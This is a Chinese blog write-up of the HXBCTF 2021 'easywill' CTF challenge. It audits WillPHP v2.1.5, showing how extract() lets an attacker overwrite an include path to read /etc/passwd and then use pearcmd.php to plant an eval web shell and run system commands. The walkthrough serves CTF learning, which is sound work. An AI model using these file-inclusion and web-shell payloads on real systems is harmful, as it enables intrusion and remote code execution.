[HXBCTF 2021]easywill writeup(WillPHP源码审计+利用pearcmd.php文件包含getshell)
[HXBCTF 2021]easywill writeup(WillPHP源码审计+利用pearcmd.php文件包含getshell)
- [HXBCTF 2021]easywill
- 1.WillPHP源码审计
- 2.利用pearcmd.php文件包含getshell
本文来自csdn的⭐️shu天⭐️,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主:https://blog.csdn.net/weixin_46081055 看看ヾ(@ ˘ω˘ @)ノ!!
[HXBCTF 2021]easywill
1.WillPHP源码审计
给了一小段源码
<?php
namespace home\controller;
class IndexController{public function index(){highlight_file(__FILE__);assign($_GET['name'],$_GET['value']);return view();}
}
版本WillPHP v2.1.5 ,官网我没找到旧版下载,去别的地方下了
assign函数
看willphp\wiphp\View.php
<?php
/*** 框架视图处理类* @copyright Copyright(c) 2020 WillPHP* @author DaSongzi <24203741@qq.com/113344.com>* @version 2.1.1* @since 2021-05-31*/
namespace wiphp;
require PATH_TPLE.'/Tple.php';
class View {private static $_vars = [];public static function assign($name, $value = NULL) {if ($name != '') self::$_vars[$name] = $value; //$name, $value传值给$_vars数组} public static function fetch($file = '', $vars = []) {if (!empty($vars)) self::$_vars = array_merge(self::$_vars, $vars); define('__THEME__', C('theme'));define('VPATH', (THEME_ON)? PATH_VIEW.'/'.__THEME__ : PATH_VIEW); $path = __MODULE__;if ($file == '') {$file = __ACTION__;} elseif (strpos($file, ':')) {list($path,$file) = explode(':', $file);} elseif (strpos($file, '/')) {$path = '';}if ($path == '') {$vfile = VPATH.'/'.$file.'.html';} else {$path = strtolower($path);$vfile = VPATH.'/'.$path.'/'.$file.'.html';} if (!file_exists($vfile)) {App::halt($file.' 模板文件不存在。');} else {define('__RUNTIME__', App::getRuntime()); array_walk_recursive(self::$_vars, 'self::_parse_vars'); //处理输出\Tple::render($vfile, self::$_vars);} }//删除反斜杠private static function _parse_vars(&$value, $key) {$value = stripslashes($value);}
}
willphp\wiphp\Tple.php
看最后处理$vfile的Tple类中的render方法
public static function render($vfile, $_vars = []) {$shtml_open = C('shtml_open');if (!$shtml_open || basename($vfile) == 'jump.shtml') {self::renderTo($vfile, $_vars);} else {$params = http_build_query(I());$sfile = md5(__MODULE__.basename($vfile).$params).'.shtml';$sfile = PATH_SHTML.'/'.$sfile;$ntime = time();$shtml_time = max(10, intval(C('shtml_time')));if (is_file($sfile) && filemtime($sfile) > ($ntime - $shtml_time)) {include $sfile; } else {ob_start();self::renderTo($vfile, $_vars);$content = ob_get_contents();file_put_contents($sfile, $content);}}} public static function renderTo($vfile, $_vars = []) {$m = strtolower(__MODULE__);$cfile = 'view-'.$m.'_'.basename($vfile).'.php';if (basename($vfile) == 'jump.html') {$cfile = 'view-jump.html.php';}$cfile = PATH_VIEWC.'/'.$cfile;if (APP_DEBUG || !file_exists($cfile) || filemtime($cfile) < filemtime($vfile)) {$strs = self::comp(file_get_contents($vfile), $_vars);file_put_contents($cfile, $strs);}extract($_vars);include $cfile;}
跟进到这里,有extract和include,所以可以利用extact变量覆盖来进行任意文件读取
可以vscode下断点快速确认各参数的传递变化
/index.php?name=n3m4&value=v3lua
最终到renderTo方法时$_vars
数组的值是我们index.php中传入的$_vars[name]=value
我们只需要让name为cfile,extact变量覆盖掉下面include的$cfile,即可进行任意文件包含
可以写出文件包含的payload:
/?name=cfile&value=/etc/passwd
2.利用pearcmd.php文件包含getshell
利用pearcmd.php写配置到/tmp/xiaoz.php(要用burp不然<>
会被url编码)
pearcmd.php利用看这个师傅blog.csdn.net/rfrder/article/details/121042290,写得超好又容易懂!想要看更具体的底层代码分析就看Longlone师傅的博客longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/register_argc_argv%E4%B8%8Einclude%20to%20RCE%E7%9A%84%E5%B7%A7%E5%A6%99%E7%BB%84%E5%90%88/
试了一下短标签可以解析
/?name=cfile&value=/usr/local/lib/php/pearcmd.php&+-c+/tmp/xiaoz.php+-d+man_dir=<?eval($_POST['g']);?>+-s+
shell写入,执行命令
/?name=cfile&value=/tmp/xiaoz.phpg=system('cat /flag32897328937298hdwidh');
参考wp:
blog.csdn.net/Sapphire037/article/details/121386490
blog.csdn.net/weixin_43610673/article/details/121369384
本文来自csdn的⭐️shu天⭐️,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主:https://blog.csdn.net/weixin_46081055 看看ヾ(@ ˘ω˘ @)ノ!!
[HXBCTF 2021]easywill writeup(WillPHP源码审计+利用pearcmd.php文件包含getshell)相关推荐
- php跨平台审计工具,php源码审计工具–PHP Source Auditor 4 released
一个用perl写的php源码审计工具 注释by:Neeao All packed up & ready for your enjoyment:PHP Source Auditor 4! So, ...
- Java毕设项目茶店订购管理系统2021计算机(附源码+系统+数据库+LW)
Java毕设项目茶店订购管理系统2021计算机(附源码+系统+数据库+LW) 项目运行 环境配置: Jdk1.8 + Tomcat8.5 + Mysql + HBuilderX(Webstorm也行) ...
- web漏洞-淡然qqyw图标点亮系统源码审计-sql注入篇
未知cms 在测试过程中多数情况下会遇到常见的 DedeCMS(织梦).discuz(论坛类).wordpress(内容管理类) 等源码结构,这种一般采用非框架类开发(少部分框架类开发)对此类cms进 ...
- Java毕设项目智慧公寓系统演示录屏2021计算机(附源码+系统+数据库+LW)
Java毕设项目智慧公寓系统演示录屏2021计算机(附源码+系统+数据库+LW) 项目运行 环境配置: Jdk1.8 + Tomcat8.5 + Mysql + HBuilderX(Webstorm也 ...
- Java毕设项目在线交友系统2021计算机(附源码+系统+数据库+LW)
Java毕设项目在线交友系统2021计算机(附源码+系统+数据库+LW) 项目运行 环境配置: Jdk1.8 + Tomcat8.5 + Mysql + HBuilderX(Webstorm也行)+ ...
- 【甄选靶场】Vulnhub百个项目渗透——项目三十:Node-1(源码审计)
Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目三十:Node-1(源码审计)
- Linux源码编译(一):从头文件说起
Linux源码编译(一):从头文件说起 2013-04-10 14:37:24 分类: LINUX 在Linux体系结构章节中,主要让大家对Linux结构层次有一定的了解,没有过多的长篇大论,力求简结 ...
- c++ 退出函数_UCOSIII源码分析之——bsp_os.c文件分析
点击上方公众号名称关注,获得更多内容 ✎ 编 者 悟 语 对于坚持做的人来说,每一次的"如期而至",其实并不需要什么"期待",也没有什么"悬念&quo ...
- CloudCompare源码分析:读取ply文件
CloudCompare源码分析_读取ply文件 写这些博客的原因,是因为打算好好研究一下点云的各种库的源码,其中比较知名的是PCL(point cloud library)和CC(CloudComp ...
最新文章
- 一种高效快速的内存池实现(附源码)
- SecureCRT设置背景颜色和目录(文件夹)颜色
- WPF阴影效果(DropShadowEffect)
- ThinkPHP框架知识的注意点
- ThinkPHP的RBAC(基于角色权限控制)详解
- gts 什么是google_Google Analytics分析(GA)是什么?为什么全世界都在用
- element-ui的input加单位符号
- ios 倒数器_如何使用倒数计时器来停止游戏 – iOS [SWIFT] –
- 扁平卡通风毕业论文答辩PPT模板
- Pandas DataFrame为什么弃用.ix【个人看法】
- Android 外置 SD 卡写入权限问题
- 执行股票交易接口get提交方法如何获取三大指数的股票列表?
- 墨客科技执行董事袁英:MOAC区块链赋能实体产业的方案与实践
- 【Matlab人脸识别】BP神经网络人脸识别(含识别率)【含GUI源码 891期】
- 《动手学深度学习》task3_3 循环神经网络进阶
- 简述你计划使用的应用开发框架,及该框架的特点
- linux抓包工具的学习
- c语言计算特殊角的正弦值,特殊角的三角函数值表 常用的正余弦函数值
- php 设置文件过期时间,BAE 指定文件格式设置过期时间
- STM32驱动MLX90614红外测温模块
热门文章
- 【程序人生】一个程序员不敲代码改写专栏了,三个月收入……
- 创意矢量扁平化商务PPT模板
- BMS_汽车充电桩中的PGN到CAN_ID转换
- Arduino的Adafruit GFX图形库介绍(一)- 概述
- shell脚本学习第四天——bash内部变量,变量主串,变量替换
- 火影忍者ol HTML5,火影忍者OL网页版
- 记一次 STM32 ST-Link Utility芯片擦除与程序烧写失败问题
- 帕金森定律(Parkinson's Law)亦称“官场病”或“组织麻痹病”
- ORACLE如何进入rman,进入rman的方式
- RMAN 的优缺点及RMAN 备份及恢复步骤